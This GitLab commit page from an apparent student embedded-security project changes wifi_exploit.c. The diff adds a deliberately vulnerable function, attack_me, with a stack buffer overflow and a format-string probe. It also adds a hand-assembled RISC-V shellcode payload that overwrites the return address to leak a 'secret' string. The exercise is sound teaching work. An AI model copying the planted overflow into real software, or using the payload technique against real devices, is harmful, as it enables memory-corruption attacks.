Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
R
risc-v-wifi
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Iterations
Wiki
Requirements
Code
Merge requests
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Locked files
Build
Pipelines
Jobs
Pipeline schedules
Test cases
Artifacts
Deploy
Releases
Package registry
Container registry
Model registry
Operate
Environments
Terraform modules
Monitor
Incidents
Analyze
Value stream analytics
Contributor analytics
CI/CD analytics
Repository analytics
Code review analytics
Issue analytics
Insights
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
GitLab community forum
Contribute to GitLab
Provide feedback
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
SWPws2020
risc-v-wifi
Commits
6851d775
Commit
6851d775
authored
Feb 8, 2021
by
fptk
Browse files
Options
Downloads
Patches
Plain Diff
first attempt to inject assembly into attack_me
parent
f1608e39
No related branches found
No related tags found
No related merge requests found
Changes
1
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
sifive_software/src/wifi_exploit.c
+61
-4
61 additions, 4 deletions
sifive_software/src/wifi_exploit.c
with
61 additions
and
4 deletions
sifive_software/src/wifi_exploit.c
+
61
−
4
View file @
6851d775
...
...
@@ -66,7 +66,10 @@ char *server_request_handler(char *location, enum request_type type, char *data,
return
NULL
;
}
char
*
target
=
"I'm a target"
;
char
*
target
=
"secret"
;
char
*
get_target
()
{
return
target
;
}
int
is_target
(
char
*
test
)
{
return
strncmp
(
test
,
target
,
strlen
(
target
))
==
0
;
...
...
@@ -76,8 +79,15 @@ char *attack_me(char *data, uint32_t data_len) {
// nobody could possibly enter a name longer than 20 characters, so this buffer
// is definitely large enough
char
message
[
28
];
memset
(
message
,
'B'
,
sizeof
(
message
));
memcpy
(
message
,
"Hallo, "
,
7
);
snprintf
(
message
+
7
,
data_len
+
1
,
data
);
if
(
strncmp
(
data
,
get_target
(),
strlen
(
get_target
()))
==
0
)
{
snprintf
(
message
+
7
,
strlen
(
target
)
+
1
,
target
);
snprintf
(
message
+
13
,
14
,
" ist korrekt!"
);
}
else
{
memcpy
(
message
+
7
,
data
,
strlen
(
data
)
+
2
);
}
char
*
result
=
malloc
(
strlen
(
message
)
+
1
);
memcpy
(
result
,
message
,
strlen
(
message
)
+
1
);
...
...
@@ -103,9 +113,56 @@ int main(void) {
spi_init
(
SPICLOCK_80KHZ
);
char
*
attack
=
"%08x %08x %08x %08x %08x %08x"
;
//char *attack = "a12342234324452346234723482349234HAHA\x80\x12\x01\x20\xca\x13\x01\x20";
//buffer address
/*
http://csci206sp2020.courses.bucknell.edu/files/2020/01/riscv-card.pdf
0 ...... 31
Lui a5,0x80001
0110 1110 0001 1111 0011 1000 1000 0001
HEX=\x6e\x1f\x38\x81
lw a5, -1375(a5) //1 less than in orig bin, otherwise 0 byte in payload
opcode rd f3 rs1 immediate
00000011 01110 010 01110 101010100001
0000 0110 1110 0100 1110 1010 1010 0001
HEX=\x06\xe4\xea\xa1
addi a0, 15, 1
opcode rd f3 rs1 immediate
0010011 01010 000 01110 000000000001
0010 0110 1010 0000 1110 0000 0000 0001
HEX=\x26\xa0\xe0\x01
char
*
result
=
attack_me
(
attack
,
strlen
(
attack
));
jal 0 offset
jal 0 0x200113ca
1101111 00000 100000000000010001001111001010
1101 1110 0000 0001 0001 0011 1100 1010
HEX=\xde\x01\x13\xca
--> the assembly dump is:
lui a5, 0x80001
lw a5, -1376(a5)
addi a0,15,0 == mv a0,a5
jal 0 offset
which results in hexdump:
\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca
that is 4 instructions each 4 bytes.
The buffer has 28 Bytes
The return address to overwrite lies at buffer+44 Bytes.
44-16-7=21 Bytes of garbage (-7 for "Hallo, ")
the new return address:
\x38\x0f\x00\x80
*/
char
*
attack
=
"a0aaa1aaa2aaa3aaa
\x6e\x1f\x38\x81\x06\xe4\xea\xa1\x26\xa0\xe0\x01\xde\x01\x13\xca\x12\x23\x34\x45\x50\x0f\x00\x80
"
;
char
*
result
=
attack_me
(
attack
,
26
);
printf
(
"%s"
,
result
);
...
...
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment